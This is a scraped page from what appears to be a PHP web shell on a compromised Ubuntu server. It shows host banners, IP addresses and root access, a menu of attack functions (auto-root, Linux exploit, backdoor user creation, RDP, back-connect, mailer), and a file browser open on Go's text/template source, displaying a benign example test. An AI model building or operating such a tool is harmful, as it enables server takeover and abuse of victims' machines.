Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
text /
template /
[ HOME SHELL ]
Name
Size
Permission
Action
parse
[ DIR ]
drwxr-xr-x
testdata
[ DIR ]
drwxr-xr-x
doc.go
17.18
KB
-rw-r--r--
example_test.go
2.42
KB
-rw-r--r--
examplefiles_test.go
6.11
KB
-rw-r--r--
examplefunc_test.go
1.53
KB
-rw-r--r--
exec.go
29.84
KB
-rw-r--r--
exec_test.go
53.7
KB
-rw-r--r--
funcs.go
19.15
KB
-rw-r--r--
helper.go
4.74
KB
-rw-r--r--
multi_test.go
10.91
KB
-rw-r--r--
option.go
1.97
KB
-rw-r--r--
template.go
6.95
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : examplefunc_test.go
// Copyright 2012 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package template_test import ( "log" "os" "strings" "text/template" ) // This example demonstrates a custom function to process template text. // It installs the strings.Title function and uses it to // Make Title Text Look Good In Our Template's Output. func ExampleTemplate_func() { // First we create a FuncMap with which to register the function. funcMap := template.FuncMap{ // The name "title" is what the function will be called in the template text. "title": strings.Title, } // A simple template definition to test our function. // We print the input text several ways: // - the original // - title-cased // - title-cased and then printed with %q // - printed with %q and then title-cased. const templateText = ` Input: {{printf "%q" .}} Output 0: {{title .}} Output 1: {{title . | printf "%q"}} Output 2: {{printf "%q" . | title}} ` // Create a template, add the function map, and parse the text. tmpl, err := template.New("titleTest").Funcs(funcMap).Parse(templateText) if err != nil { log.Fatalf("parsing: %s", err) } // Run the template to verify the output. err = tmpl.Execute(os.Stdout, "the go programming language") if err != nil { log.Fatalf("execution: %s", err) } // Output: // Input: "the go programming language" // Output 0: The Go Programming Language // Output 1: "The Go Programming Language" // Output 2: "The Go Programming Language" }
Close